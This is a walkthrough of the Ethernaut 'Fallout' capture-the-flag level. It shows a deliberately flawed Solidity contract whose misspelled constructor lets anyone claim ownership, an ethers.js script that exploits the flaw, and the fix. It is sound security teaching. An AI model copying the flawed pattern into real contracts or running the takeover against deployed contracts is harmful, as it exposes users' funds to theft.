Fallout Challenge - Ethernaut Level 2
Challenge Description
Challenge Goal
Claim ownership of the contract by exploiting a vulnerability in its constructor. The vulnerability stems from a naming inconsistency in the constructor function that makes it callable by anyone, even after deployment.
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}The Vulnerability
Take a close look at the supposed constructor function: function Fal1out() public payable. Notice anything strange?
The function name is Fal1out with the letter 'l' replaced by the number '1'. This is a common typo or naming inconsistency that can easily go unnoticed.
In older Solidity versions (before 0.4.22), constructors were defined as functions with the same name as the contract. If there's a naming mismatch, the function becomes a regular public function instead of a constructor, making it callable by anyone at any time!
The Exploit
To claim ownership of the contract, all we need to do is call the Fal1out() function. Since it's a regular public function (not a constructor due to the naming mismatch), we can call it even after the contract has been deployed.
Steps to Exploit:
- Get an instance of the contract
- Call the
Fal1out()function - Verify that you're now the owner of the contract
Code Solution
// Get contract instance
const contract = await ethers.getContractAt("Fallout", INSTANCE_ADDRESS);
// Check current owner
const initialOwner = await contract.owner();
console.log("Initial owner:", initialOwner);
// Call the Fal1out function to claim ownership
await contract.Fal1out({ value: ethers.utils.parseEther("0.0001") });
// Verify we are now the owner
const newOwner = await contract.owner();
console.log("New owner:", newOwner);
console.log("Our address:", await ethers.provider.getSigner().getAddress());Security Lessons
- Proper Constructor Naming: Always ensure that constructors are properly named. In modern Solidity (0.4.22+), use the explicit
constructorkeyword instead of naming the function after the contract. - Code Review: Seemingly minor typos or naming inconsistencies can lead to major security vulnerabilities. Always review code carefully, especially for critical functions like constructors.
- Modern Practices: Keep up with the latest Solidity practices and conventions to avoid outdated patterns that may introduce security issues.
Prevention
In modern Solidity, this vulnerability is prevented by using the explicit constructor keyword:
// Modern constructor syntax
constructor() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}The explicit constructor keyword makes it clear that this function should be executed only once when the contract is deployed, and it cannot be called afterward.
Conclusion
The Fallout challenge demonstrates how a simple naming inconsistency can lead to a serious vulnerability. By identifying and exploiting this issue, you've learned about the importance of proper constructor naming and keeping up with best practices in Solidity development.
Continue exploring the Ethernaut challenges to learn more about Ethereum security vulnerabilities and how to avoid them in your own contracts.